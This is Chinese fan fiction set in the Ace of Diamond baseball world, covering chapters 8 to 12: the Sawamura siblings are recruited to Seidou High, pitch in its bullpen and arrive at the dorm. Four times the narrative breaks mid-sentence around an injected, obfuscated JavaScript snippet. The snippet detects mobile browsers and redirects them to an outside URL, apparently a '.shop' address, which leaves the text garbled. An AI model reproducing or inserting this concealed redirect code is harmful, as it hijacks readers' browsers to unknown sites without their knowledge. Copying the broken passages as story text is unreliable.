几乎是在高岛礼说出来意的那一刻,泽村绘理就明白了这一次上门拜访的最终目的是什么。 “如果想说的只有这些,我想这些条件,不只有青道可以做到。”没有说场面话的打算,泽村绘理直接地撕开当前营造好的谈话氛围,“我想高岛副部长应该还有别的想要说的事情吧?” “又或者说,真正想要做的事。” 随着话音落下,气氛变得陷入僵局。 高岛礼注意到在泽村绘理强势地破坏谈话气氛后,坐在泽村绘理身侧的泽村荣纯当即以保护者的姿态用敌对的态度对待自己,除此之外,在两人身后的泽村一家对于此也是表现出默许的态度。 ——看来是选错方法了。 高岛礼叹了口气,然后抬手推了下眼镜,微笑着说了一句“失礼了。”后,再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159459|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将目光看向泽村绘理:“我的目的是想要邀请你以及你的哥哥一同就读青道高中,这便是我的真实目的。” “虽然有些失礼,但在来之前,我有了解过你的一些信息。即便是没有棒球这件事,以你的学业,我想不会有哪一所学校会拒绝你,包括「我」,所以了解过后就更坚定了邀请的想法。” “身为理事长的女儿,我偶尔也是会有需要为学校考虑的时候。” “至于最初的……那并不是谎言,我对于泽村同学作为捕手的表现非常看好,如果你能加入青道,我想一定能提升棒球部的战力,我是这么认为的。” “当然这只是其中一个原因,第二个原因是,如果泽村同学最后选择其他学校,即便我在这之后邀请你的哥哥加入青道,我想我得到的回复恐怕最后只会是拒绝这唯一的可能吧。” “曲线救国,又或者说为了双赢,为了这一目的,所以我在一开始隐瞒了一些事情……真的是失礼了,请原谅我。” 言语上的道歉似乎觉得不够,高岛礼在说完后,甚至低下头表达了歉意。 然而对于这一切,泽村绘理依然是表现沉默,一言不发地盯着高岛礼,看上去像是在思考。 身为大人能在小孩,虽然小孩的身后坐着一大家子人,但是能说到这个份上,在这上下级关系分明到近乎是扭曲的社会,可以说是非常难得。 只不过—— 泽村绘理依然是对此不感兴趣,就像是一开始说的那样,青道高中能给出的条件,其他高中也能做到,更别提那个夏季甲子园比赛中的稻城实业高中至今还有内推邀请发来。 青道高中并不是唯一的选择。 “看好我哥哥的理由又是什么?” 像是没想到会被问这个问题,高岛礼有一瞬愣了愣,但很快恢复一开始的干练的模样。 “泽村荣纯,你的哥哥在那场比赛里,其实并没有全力以赴。”考虑到一开始的失败,高岛礼面对这个问题的回复是斟酌又斟酌,“虽然不知道理由,但一定与投球有关,或许是在赛前就被加以某种限制。” “在这种情况下,仍然能冷静地压制打者,像这样的强心脏,我认为对于投手来说是难能可贵的一种品质。” “换一个平台,一个能让其不受限制的地方,会不会就能看到完全体的表现……不由得这么想了。”话说到此处,高岛礼突然话锋一转,“泽村绘理,我认为你的哥哥泽村荣纯拥有一种潜质。” “对于所有投手来说或许是终极梦想的潜质。” 即便是知道接下来会说什么,泽村绘理依然是心甘情愿地跳下陷阱,主动地接过话茬,然后在下一秒,预想的回答果然出现了。 “ACE。” “我从泽村荣纯身上看到了属于ACE的光芒。” 泽村绘理:“……” 下一秒。 从对话开始就一直面无表情到有些冷漠的泽村绘理笑了。 ——我也这么认为。 “好啊。” ——我的哥哥能成为ACE。 “我会好好考虑。” ——能成为…… ——Ace of Diamond。 9. 第 9 章 虽然不知道发生了什么,但总之自己的妹妹泽村绘理好像决定要去东京就读了。 敏锐地察觉到气氛的变化后,泽村荣纯意识到了这一点,然后依然是没有将高岛礼上门拜访的事与自己有关联系在一起。 完全地置身事外。 另一边。 自觉与泽村绘理达成共识,高岛礼将目光转向泽村荣纯,然后注意到泽村荣纯一副状况外的表现。 ——这个模样……感觉和投手丘上的那个人差得有些远啊。 高岛礼几乎是下意识地就在心里这么想了,但明面上还是将先前已经说过一遍的邀请话术又说了一遍。 “……说了这么多,我想比起从我说的话里了解,不如现场看看会更直观。”说到最后,高岛礼打出自己的底牌。 只有青道高中棒球部是她绝对不认为会输给任何条件的最强有力的王牌。 高岛礼对此很有信心。 虽然是对着两人发出的邀请,但是泽村荣纯的第一反应仍然是看向泽村绘理,并没有自己做决定。 泽村绘理自然注意到一旁看向自己的视线,只不过没有选择理会,而是又沉默地盯着高岛礼看了有一会,然后才开口接过话茬。 “不必了,比起参观学校,我想对于「我们」来说还是队友的表现更重要。” “请给我棒球部的比赛录像吧,平时的训练视频也可以。” 从未想过会得到这样的答复,高岛礼不由得陷入了沉默,同时心里想着泽村绘理与泽村荣纯不愧是兄妹,表现如出一辙地会给人带来意外感。 沉默过了有一会,虽然仍有疑虑,但最终还是想要天才的执念更胜一筹,高岛礼同意给出棒球部的比赛录像,随后与泽村绘理约定好最迟后天就会整理好寄出,便向泽村一家道别。 高岛礼不担心这些录像给出去会造成什么后果,毕竟这些录像只要有心,随便都能找到,除此之外还有更重要的一个原因,不知道为什么莫名地有一种录像给出去之后,会收获意想不到的惊喜的既视感萦绕左右。 ‘别让我失望啊……’抱着这样的心情,高岛礼在回去的当晚就整理好一部分录像带,内容集中在一军正选与西东京赛区的学校的比赛录像,然后于第二天一早寄出。 为了早点配送到达,甚至用上了加急特快,于是远在长野县乡下的泽村绘理在第二天放学后就看到摆在房间外的一大箱快递。 打开一看,里面全是写好标明青道高中与哪所学校的比赛录像。 “喔喔喔喔!居然这么快就寄过来了,那个人果然是很执着啊。”跟在泽村绘理身后的泽村荣纯凑前一看,看到都是录像带之后,瞬间意识到寄件人是谁。 “不过……” 翻动了一下箱子里装着的录像带,泽村荣纯的表情有些复杂。 “也不用寄来这么多吧?这些绘理都要看完吗?” 泽村绘理点点头。 “呃……嗯,虽然猜到会是这个反应,但是果然还是想说这些也太多了,绘理可不能熬夜看完,啊这个眼神……该不会是想着快进看完,只要天不亮就不是熬夜吧?” “这可不行啊,绘理!” 毕竟是自家妹妹多大年纪,两人就相处了有多久的兄妹,泽村荣纯一眼就看出来泽村绘理是真的打算像自己想的那样做,瞬间咋咋呼呼地大叫着阻止。 只不过最终还是没能拗得过泽村绘理。 差不多是在过了十点后,泽村荣纯抱着枕头来到泽村绘理的房间,手里还提着一袋吃的,然后自顾自地往泽村绘理的身边坐下。 “我也一起看。” 说完后,泽村荣纯唰唰连着撕开好几袋零食摆在泽村绘理伸手就能拿到的地方。 整个过程的动静并不小,但是泽村绘理并不在意,连眼神都没给一个,视线专注地看着比赛录像。 时间一分一秒地过去,差不多是在半夜两三点左右,泽村绘理终于有了反应,随手拿起一旁放着的毯子,看都没看,一甩就正好盖着抱着枕头睡得很熟的泽村荣纯身上。 第二天。 一切都和泽村荣纯预想的一样展开,泽村绘理果然是在天亮之前看完了所有的录像带,然后头一歪,枕着泽村荣纯睡了过去。 由于睡得早,于是等泽村荣纯醒来后就看到泽村绘理靠着自己睡着的画面。 想了一下,泽村荣纯决定就由着泽村绘理在地上睡着,不过在这之前得将枕头、被子、毯子这些都准备好。 虽然最想做的其实是抱着人回床上躺着,但是泽村荣纯感觉自己这么做,大概率会吵醒刚睡着不久的泽村绘理,毕竟……刚摸了一下电视,这会还有点温度。 “青道吗……” 从泽村绘理的房间出来后,泽村荣纯不自觉地念着这个名字。 他感觉自己的妹妹好像很看好这所学校,虽然不知道理由,但如果这是自己的妹妹做出的决定,那应该就是最好的选择。 ——真是不知道东京的人都会是怎么样的选手,教练又会是怎么样的人。 泽村荣纯在心里想着。 与此同时,青道高中棒球部,太田部长与高岛礼正在和片冈铁心谈话,谈话到最后,太田部长突然有些感慨。 “虽然川上绝对没问题,但是还是想要今年的新生能有投手加入。” “只有丹波和川上……” “唉……” 片冈铁心没有接话,一旁的高岛礼则是将话茬接过,然后说:“我倒是发现了两个不错的选手,如果不出意外,我想不久后就会来到青道。” “欸?!没听……啊,是昨天那个……”正想要问是谁,太田部长突然想起来昨天的事,于是又安静下来,“两个都是投手吗?” 高岛礼意味深长地笑着。 “并不是。” “但是这两位选手的关系是兄妹。” “哦,兄妹啊……”太田部长没听出来哪里有异常,一边说一边点头,过了一会才反应过来,非常夸张的“欸——?!”了一声,“兄妹?!” 眼看着高岛礼还是那副平静淡然的态度,太田部长越来越混乱。 “兄兄兄……兄妹吗?!高野好像不允许混 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159460|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 组吧,高岛你想要招揽的到底是谁。” 出于对高岛礼的信任,太田部长倒是没有怀疑过这对兄妹的实力,只是对高岛礼真正想要邀请的人产生了怀疑,他总觉得事情没这么简单。 片冈铁心也在这时候看向高岛礼:“这是怎么回事?” 虽然时间太短,但是高岛礼还是搜集到一些东西来佐证自己的想法,然后用办公室配备的播放器将搜集而来的录像带放出。 “这是前不久在长野县举办的国中之间的棒球赛决赛录像,我想招揽的这对兄妹是赤城中学的投手与捕手,这其中……我最感兴趣的是这位捕手。” “我想以片冈教练的眼光,一定能看出这位捕手有何不同。” 面对高岛礼的询问,片冈铁心没有回应,注意力全都被屏幕上播放的内容吸引。 比赛进行到第九局下半场,两人出局、一三垒有人、比赛分差五分,虽然是国中生之间的比赛,但是能将比赛掌控到这种程度…… 【太可惜了。】 几乎是在意识到比赛发生了什么的瞬间,片冈铁心的脑海里回荡着这样一道念头。 【高野不允许混组这种事……】 “如果能选择加入,那真的是太好了。”片冈铁心由衷地说道。 高岛礼对于片冈铁心的反应早有预料,于是听到片冈铁心这么说之后,笑容越发地意味深长:“一定会选择加入,我对此深有自信。” 一旁的太田部长虽然不清楚两人在说什么,但是录像带他还是看得懂。 ——真是期待啊,这样的选手。 看着比赛最后定格的画面,太田部长在心里感慨不已地想着。 时间一天天过去,在高岛礼寄出录像带第三天,与录像带一同寄回的还有泽村绘理与泽村荣纯的回复。 “那么我会在入学式前一天再次登门拜访。”得知两人的选择,高岛礼立刻定好下次见面的时间,随后还将自己在棒球部的休息室整理出来。 虽然平时几乎没有在用,但如果要用于住宿,那还是得彻底地大扫除一遍才可以。 “小礼突然这么兴冲冲的是在做什么?” “不清楚,好像是有新人加入?” “欸……” “喂!你们两个别在那里偷懒!特别是你啊御幸!” 远处传来前辈的怒吼,仓持洋一“啧”了一声,抬手拍了拍御幸一也的肩膀:“走吧,去训练吧。” 原本就没有对新人加入有什么好奇,于是这会对于话题戛然而止的事,御幸一也也没在意,趁着前辈的怒吼再次来临前,老实地跑去完成训练内容。 一段时间后,夏季甲子园比赛的最终结果出炉。 来自西东京赛区的稻城实业高中打进延长赛,在最后以救援投手身份登场的一年级新生成宫鸣以强势的投球率先夺点。 [成宫鸣]:我赢了哦,虽然不是从一开始就站到最后,但是下一次绝对…… [成宫鸣]:你差不多也该同意了吧! 赛后毫无意外的,泽村绘理收到了来自成宫鸣的内推邀请。 10. 第 10 章 在开学前一天,高岛礼按照约定再次登门拜访泽村一家,与其同行的还有棒球部的太田部长。 由于在来之前就有打好招呼,于是高岛礼与太田部长抵达泽村家后,才刚下车就看到在院子里等着的泽村绘理与泽村荣纯。 太田部长首先关注到的是两人的外貌,或许是相差了两岁的缘故,泽村绘理与泽村荣纯外貌上并不相似,但是从氛围上能让人一眼感觉这是一对兄妹。 “行李都准备好了吗?”高岛礼视线落在放在一旁的行李箱上。 泽村绘理与泽村荣纯闻言,然后点头,随后太田部长非常自觉地提起行李往后备箱放。 对于自己此次前来的任务,太田部长心里非常有数。 当车辆行驶进入一条开阔的大道,原本在昨天说好的不用来送别的伙伴突然在道路的边缘出现。 “小荣啊——” “绘理——” “去了东京之后,一定要加油啊!” 后面似乎还喊了什么,但因为出现得太过突然,等意识到的时候,车已经开出去有一段距离,回头通过后车车窗看向身后,伙伴的身影已经缩成小点。 泽村荣纯忽然觉得喉咙发紧,就在这时,手臂忽然被碰了一下,低头看过去是一包抽纸,顺着再看过去是自家妹妹泽村绘理面无表情地对着自己说「请用。」这句话。 完全是下意识的动作,泽村荣纯接过抽纸。 “如果要哭的话就用这个吧。” 泽村荣纯:“……” “不哭吗?” 泽村荣纯:“……” 一开始确实是有酸酸涩涩的情绪,但是在看到自己的妹妹面无表情地递过一包像是早有准备的抽纸,想哭的感觉完全没有了。 泽村荣纯突然冷静下来。 总觉得现在哭出来好像会有些奇怪。 在那之后又过了好一会,大概是看气氛沉默,高岛礼主动地提起话题,然而捧场的只有泽村荣纯以及偶尔接个话茬的太田部长。 泽村绘理始终表现得很是沉默。 在场的两位大人虽然都有注意到这一点,只不过因为棒球部多的是个性迥异的选手,所以这会谁也没觉得泽村绘理表现如此冷漠有什么问题。 在快要中午的时候,负责开车的太田部长看了看地图,考虑到车上还有两个学生,于是没选择到附近的便利店解决午饭,而是绕了点路,打算找一家快餐店解决午饭问题。 大人的责任感以及身为棒球部部长那点微妙的自尊心,实在是让他没办法给两位特邀而来的学生中午饭就吃便利店的即食饭团。 “午饭就在这里解决吧。”太田部长说完后,将点餐牌递给泽村绘理与泽村荣纯。 两人随即凑到一块看餐牌上的内容,一会之后,一个点了双层汉堡肉铁板套餐,一个点了蛋包饭。 太田部长感觉泽村绘理和泽村荣纯点得有些太少,担心两人不够吃,于是加点了一些给两人,然后才给自己和高岛礼点餐。 在那之后过了快一个小时,解决了午饭问题的一行四人再度出发,然后在两点刚过的时候,抵达青道高中棒球部。 这会儿正好是棒球部训练的时候。 高岛礼想了想,然后向泽村绘理与泽村荣纯提议行李的事暂时搁置,趁现在去提前体验一下青道高中棒球部的氛围。 “……如果是想要投球又或者是训练打击,备用的手套、球棒都是有的。” 泽村绘理对于这提议无可无不可,于是看向泽村荣纯,想看看自家哥哥是怎么想的。 “嘛……确实是有些好奇。”虽然那天晚上看了不少比赛录像带,但是屏幕上看的和现场看的始终不一样,泽村荣纯有些好奇青道高中棒球部的训练和赤城中学有什么区别。 特别是捕手。 时至今日,泽村荣纯仍然在遗憾上了高中之后就没办法再和自己的妹妹组成投捕组合的事。 “一起去看看吧?”泽村荣纯看向泽村绘理。 泽村绘理随即“哦”了一声。 青道高中棒球部住宿的地方和训练场地相隔的距离并不遥远,没走多久就到了目的地,然后如同高岛礼预想的一样,泽村荣纯果然被棒球部的氛围吸引。 唯一让人遗憾却又在意料之中的是泽村绘理果然还是对棒球部的选手没有兴趣。 至始至终,眼神都没给一个。 ——唉。 高岛礼在心里叹了口气。 “我带两位四处走走吧?”高岛礼很快整理好心情,然后对着泽村绘理与泽村荣纯提议道。 这一回,泽村绘理没有将选择权交给泽村荣纯,而是自行做了决定。 “就在这里吧。”说着说着,像是想起了什么似的,泽村绘理看向泽村荣纯,“想要去牛棚看看吗?” 泽村荣纯:“牛棚?嗯……喔!要的要的!” 在一旁围观对话全过程的高岛礼隐隐约约察觉到这短短两句的对话里,好像隐藏了什么重要的信息,想到这里,高岛礼笑了笑,然后为泽村绘理与泽村荣纯指明牛棚的方向。 数分钟之后,因为偶尔也是会有穿着非棒球部队服的人出现在训练场,所以这时候在牛棚训练的人并没有对突然出现的泽村绘理与泽村荣纯表露出意外的神色,好奇地看了眼就收回视线,专注于眼前的训练。 高野以前的棒球几乎都是软式棒球,手感上与硬式棒球有一定的区别,部分国中棒球部会为了尽快适应而后期的训练里穿插着使用硬式棒球。 泽村绘理与泽村荣纯差不多也是这样,唯一不同的是两人是在上了国中之后就开始这么做。 虽然确实有在角落里看到备用的训练装备,但是泽村绘理还是打算用自己随身携带的棒球手套,一旁的泽村荣纯见状,瞬间进入状态,开始耍赖骚扰捕手。 “绘理啊……可以练习那一球吗?” “我保证这一次绝对不会投到四处乱飞,相信我,这一次绝对不会灵机一动的!拜托了嘛,绘理、绘理理啊……” 一旦开始求饶耍赖,泽村荣纯就会不好好说出自家妹妹的名字,毫无兄长的气慨。 “……” 过了一会,在一声声「绘理理啊,拜托拜托……」中,泽村绘理无奈地叹了口气,同意了泽村荣纯的请求。 “投十球看看状态,如果我觉得不合适,就算再怎么耍赖也是不行。”穿戴好捕手手套后,泽村绘理对着泽村荣纯说道。 至于捕手的护具,泽村绘理并没有用上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159461|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对于自家哥哥能把棒球投到哪里去,她或许比本人还要清楚。 十球的投球数很快就达到,并且在牛棚训练的选手也在这时候停下训练,注意力都放在泽村绘理与泽村荣纯身上。 “应该是新生吧?” “这个投手……看起来还不错啊。” “刚刚好像听到那个捕手说什么投十球看看状态,该不会是有什么特殊的球种想要练习吧?” 与此同时,投完十球的泽村荣纯在神秘的投捕电台骚扰捕手。 ‘绘理大人,在下觉得自己已经做好准备,随时都能按照绘理大人的要求作战!’ ‘绘理大人啊!请考虑、再考虑清楚吧!在下泽村荣纯绝对……’ 一句接着一句的。 其实并没有想要拒绝的泽村绘理这会被骚扰得有点想要说不了。 ‘绘理……’ ‘投吧投吧,所以别再吵了。’ 短暂地逃避了一会来自投手的骚扰,泽村绘理最终选择了妥协,然后在心里劝自己往好处想想,至少不用太担心投手的通病会出现在自己的哥哥身上……哦,或许还得加上成宫鸣,他也一样看起来吵吵闹闹的。 都开学前夜了,居然还在执着地发出内推邀请。 ——待会再告诉前辈去了青道吧。 泽村绘理在心里想着。 砰的一声,棒球准确无误地落进手套,牛棚内围观的选手正想着新生投的这一球还不错,却在这时候听到投球的新生着急慌乱地连声道歉。 “啊啊啊,抱歉啊绘理,刚刚是失误!下一球绝对会好好投的!” 围观群众:“……” ‘这不是……’ ‘投得挺好的吗?’ ‘速度虽然稍有欠缺,但是刚刚那一球应该是卡特球吧?而且出球的动作也……嗯,感觉就算是队长大概也会考虑一下。’ 与投捕电台相似的队内频道开启。 泽村绘理虽然感觉到围观的人好像在讨论什么,但因为不在意,所以这会的注意力都放在泽村荣纯身上。 “我也没有在生气。” 回想了一遍方才投球的全部过程,泽村绘理一下就找到投来的棒球没有按照预定的那样擦过外角最边缘的地方落进手套的原因。 兴奋过度了。 “嗯,下一球试着用最快的速度投过来吧,什么类型的都可以。” “欸?可以吗?那在下就投直球了!” 泽村绘理:“……” “你投的从来就不是直球啊……”虽然想要这么吐槽,但是泽村绘理最终忍住没有说,然后默默地摆好手套的位置。 下一秒。 泽村绘理感觉到身后好像有谁走了过来站着。 ——好好看着吧。 棒球落进手套发出沉重的响动。 原以为来的会是直球,然而临到跟前却发现棒球的前进方向诡异地发生偏转,如果此时是比赛,击球区上的打者大概率会因为反应不过来,从而错过击球时机。 御幸一也是这么想的。 只不过—— 或许是错觉,御幸一也认为与投手一样令人吃惊的还有捕手。 手套的位置居然动都没动过。 11. 第 11 章 看不见出球瞬间的投球姿势以及根本不能称为直球的投球,这大概会让打者猝不及防,御幸一也已经开始期待之后的比赛里要在配球上怎么合理地利用这一点解决打者。 那一定会非常有意思。 不过在这之前,还是先看看这对投捕组合的表现吧。 回想起突然被告知「牛棚那边来了一对很有意思的新人。」像这样暗示意味十足的事,御幸一也的目光一直在捕手和投手之间来回转。 从高岛礼那边得知,这对投捕组合是一对兄妹,御幸一也猜测方才的配合默契大概也有从小生活在一起的加成。 今后脱离了妹(捕)妹(手)是否能保持现有的实力也是一个大问题。 时间一分一秒地过去,牛棚围观的人变多了,全都是被泽村荣纯的投球吸引而来。 御幸一也注意到了这一点,想到了什么,随后笑了笑,对着牛棚外伊佐敷纯喊了一声:“喂——伊佐敷,来帮后辈当一下假想敌吧。” 站在人群里只是过来看一眼,没想到会突然被点名,伊佐敷纯刚想要呛一句,话到嘴边突然想起来御幸一也方才明显是不怀好意的笑,瞬间明白他想做什么。 心里想着「真是恶劣啊,好烂的个性」,伊佐敷纯戴好头盔站在了击球区上。 “喂!那边的新人,如果投球还是刚刚那样软趴趴的,小心被我打飞出去!” “语气好粗暴啊,伊佐敷。”御幸一也吐槽了一句。 伊佐敷纯顿了一下,反应很快地呛回去:“你这家伙才是最没资格说这句话!” 另一边。 虽然不知道发生了什么,但总之有自愿当工具人的前辈上场了,泽村绘理观察了一下被身后那人称作「伊佐敷」的前辈,腿部的肌肉线条看起来力量十足,肩膀十分宽阔,除此之外手臂也看上去力量十足。 ‘不好对付哦这位前辈。’观察完毕,泽村绘理在投捕电台提醒泽村荣纯,‘不过……这也算是一个好机会,就拿这位前辈练习那些还没完全掌握的球种吧?’ 原本就很想在平时的训练里多多练习没掌握的球种,泽村荣纯自然是不会拒绝这一提议。 ‘好的。’ ‘我会尽力不丢到那家伙身上。’ 就在这时,伊佐敷纯突然感觉到一阵恶寒。 ‘首先……用二缝线直球向这位前辈打声招呼吧。’习惯用第一球试探打者的泽村绘理向泽村荣纯打出暗号,‘如果可以的话,用力气最大的方式投过来吧。’ ‘没关系,我会负责接住。’ 虽然二缝线直球是最早掌握的球种,但是一旦加上速度这一变量,控球就会变得很不稳定,只不过因为只是很偶尔的情况,于是二缝线直球还是能加入泽村荣纯的固定球种里。 大概是今天的状态真的很不错,用尽全力的二缝线直球完美地按照预定轨迹投了过来。 “那是什么投球姿势,而且一上来就使用直球,该不会以为这还是……?!” 棒球近到眼前的刹那,伊佐敷纯明白了御幸一也喊自己过来的原因,随后怒气上升,非常极限地改变了持棒方式,一边在心里骂着御幸一也又在那里暗搓搓地下套,一边全力挥棒,将投来的二缝线直球打了出去。 只不过—— 力气最大而导致控球不稳定,即便最终完美地按照预定轨迹投了过来也还是会让毫无准备的打者错过最佳的挥棒时机。 打飞出去的棒球最终会被二游间拦下。 御幸一也非常“会看气氛”地“好心”地在这时候配合着喊了一句“Out!”,然后毫不意外地收获来自伊佐敷纯恶狠狠地眼神杀。 “再继续!”伊佐敷纯的语气依旧粗暴,但击球的态度看上去认真了许多。 泽村荣纯倒是没被伊佐敷纯的态度吓到,但也没按伊佐敷纯说的去做,而是看着泽村绘理的方向,静静地等待下一球的暗号。 ‘刚刚投得不错,今天的状态看起来很好嘛。’ ‘欸!在下也这么认为,但绘理大人也这么说的话,那看来在下的表现确实很好啊!’ 被夸奖之后,泽村荣纯不再安静,继续和之前一样在神秘的投捕电台里骚扰捕手,然后把捕手惹怒。 ‘……哥哥你啊!没有比这位前辈安静多少啊!’ ‘欸!!!怎么这样说!’ 惹怒捕手的后果就是没有后果,下一球被指名目前最稳定的变速球,即便是用尽全力投球也能有良好的控球。 泽村绘理在过去时常会搭配方才的二缝线直球一起用。 第二球一如既往地得到御幸一也“好心”地配合着喊了一句“Strike——!”,末了还不忘吐槽伊佐敷纯一句,给他加加压力。 泽村绘理没错过两人的互动,虽然对此不感兴趣,但多少还是有点不理解那位明显在看热闹不嫌事大的名叫御幸的人在做什么。 “你到底是站在哪一边的?”有那么一瞬间想要这么问,但最终没有说出口。 时间很快过去,伊佐敷纯作为假想敌在此次练习里获得五坏三好七出局的“好成绩”,期间的界外球没有算在内。 打上了头的伊佐敷纯原本还想继续,只不过被拦了下来,然后才走下击球区,就看到不久前义正辞严地说「别让后辈一上来就这么累」的队长穿戴整齐地站在击球区上。 伊佐敷纯:“?” 伊佐敷纯:“???” 他怀疑他被耍了。 在那之后,越来越多被投球吸引而来,自愿当工具人的人出现,然而也不是所有人都能当上假想敌,在泽村荣纯的投球数达到一定程度后,泽村绘理停止了训练。 “差不多该休息了。”泽村绘理看向御幸一也,想知道这个引来这么多工具人的前辈还想做什么。 被面无表情地看着,御幸一也却感觉这张脸仿佛说了很多话。 ——应该是错觉吧? 御幸一也在心里想着。 原本就只是想要看看新来的这对投捕组合的表现,并没有想做什么特别的事,所以御幸一也装作没看懂泽村绘理的意思,一副就是路过在围观的表现。 泽村绘理:“……” ——算了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159462|196573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虽然看得出来御幸一也这位前辈方才绝对是在演,但是泽村绘理不打算深究,站起身,拍了拍手上的灰就对着朝自己走过来的泽村荣纯提议一起回宿舍。 眼看着泽村绘理与泽村荣纯要离开,在场的觉得两人表现还不错的前辈你一言我一语地对着两人喊着晚上训练场也会有自主练习,如果愿意还可以继续方才的练习,大家都很乐意当假想敌之类的话。 面对前辈的邀请,泽村绘理反应冷淡只应了一声“好的。”,泽村荣纯虽然反应热情,但也没像部分后辈那样面对前辈的邀请表现得诚惶诚恐。 很有礼貌也有敬语,但是却让人有一种好像认识了有好几年一样的自来熟的感觉。 【喂,我们这才第一次见面吧?怎么感觉那个捕手比你这家伙还更像投手啊!】 这是在场的大部分前辈的想法。 在泽村绘理与泽村荣纯离开过了有一会后,后知后觉反应过来某件事的前辈们不约而同地“欸?!!!”了一声。 “刚刚那个捕手好像是女生?” “好像是……” “你们才发现吗?而且这两人看起来好像是兄妹来着。” “完全没注意这种事,光顾着棒球的事了。不过说起来那对投捕组合好像是高岛副部长亲自带过来的,应该是今年特邀的新生吧。” “欸……特邀的啊,这样的话ACE就……” 讨论的声音渐渐变小。 另一边。 泽村绘理与泽村荣纯在回宿舍的路上,方才通过LINE得知泽村荣纯的宿舍被安排在五号寝室。 “好像是三个人一间宿舍,里面……” 泽村绘理说着说着,停顿了一下,此时两人已经走到五号寝室门口,宿舍门旁边挂着三个铭牌,看样子里面已经有人入住。 “好像有两个前辈在住了。” “不知道是什么类型的前辈。”泽村荣纯也跟着一起看着墙上挂着的铭牌,虽然有可能会是新生,但是直觉告诉他都是前辈。 泽村绘理没有泽村荣纯那种对未来舍友的期待,一边说着「开了门就知道了。」,一边将门把扭开,然后往外一拉。 出现在门口的不是靠谱的前辈,而是脸色青白、不断流血的人形生物。 或许是没想到站在门口的并不是预定要吓唬的对象,正不断流着血的人形生物愣在了原地,而此时没看到外面发生了什么的又一人形生物蹿了出来。 这一回展现在泽村绘理与泽村荣纯眼前的是宛如地狱绘卷一般的画面。 泽村绘理:“……” 泽村荣纯:“……” 意识到大事不妙的两位人形生物:“……” 死一般的寂静笼罩在五号寝室门口。 在这之后或许过去了只有几秒,又或许过去了好几分钟,泽村绘理率先将沉默打破,面无表情地将打开的五号寝室门又关上。 “走错了。” 泽村荣纯:“……” 虽然很想说应该没走错,但是泽村荣纯觉得自己现在好像最好是沉默比较好。 12.第 12 章 在送走泽村绘理之后,五号寝室的大门又一次被关上,几乎是同时,仓持洋一跳起一把揽过泽村荣纯的脖子,大声质问。 “泽村!没听说过你有妹妹啊!” 突然被锁住脖子,正要挣扎的泽村荣纯一听这句质问,愣了一下,但没一会就反应过来,一边说着「我们这才刚见面啊!」的话,一边动作幅度极大地挣扎,试图挣脱锁住脖子的那只手臂。 数分钟后,泽村荣纯成功挣脱束缚,然后环顾四周观察寝室的环境。 没什么特别的地方,就是一普通的宿舍。 “喂,泽村,要不要来玩游戏?反正现在时间还早。”仓持洋一拿着游戏盘对着泽村荣纯发出邀请,一旁的增子透也跟着起哄邀请,只不过因为不能说话,所以这会一直在有节奏地“嗯嗯”代替说了什么。 “虽然很想玩,但是之后和绘理约好了要去练习。”泽村荣纯摇头拒绝了邀请。 “欸,原来是叫绘理啊……”仓持洋一低声说着,然后又大笑着再一次发出邀请,“没关系没关系,练习结束后再一起玩也是可以的,反正开学第一天也不会有什么大事要做。” 面对前辈再一次的邀请,泽村荣纯想了想,觉得好像也确实是这样,于是这一回没有再拒绝。 “喔喔喔喔!那就请允许我也一起玩!不过晚上的熄灯问题要怎么解决?” “没关系,别在意那种事,熄灯又不会断电。” “喔喔喔!原来是这样!真不愧是前辈!连这种事都考虑好了!” “……” “这种阴阳怪气的感觉是怎么回事……” “欸,仓持前辈是说了什么吗?” 低声碎碎念的话差点被听到,仓持洋一连忙表示这是错觉,随后心大的泽村荣纯一点怀疑都没有的就信了。 在那之后,一切都按照预想的那样发展,结束了晚间的练习的泽村荣纯确实按约定好的一起玩电子游戏,只不过时间在快要接近12点左右的时候,仓持洋一发现屏幕的另一角色停止不动很久了,转头一看,发现泽村荣纯不知道什么时候怀里抱着一个枕头在呼呼大睡。 仓持洋一:“……” 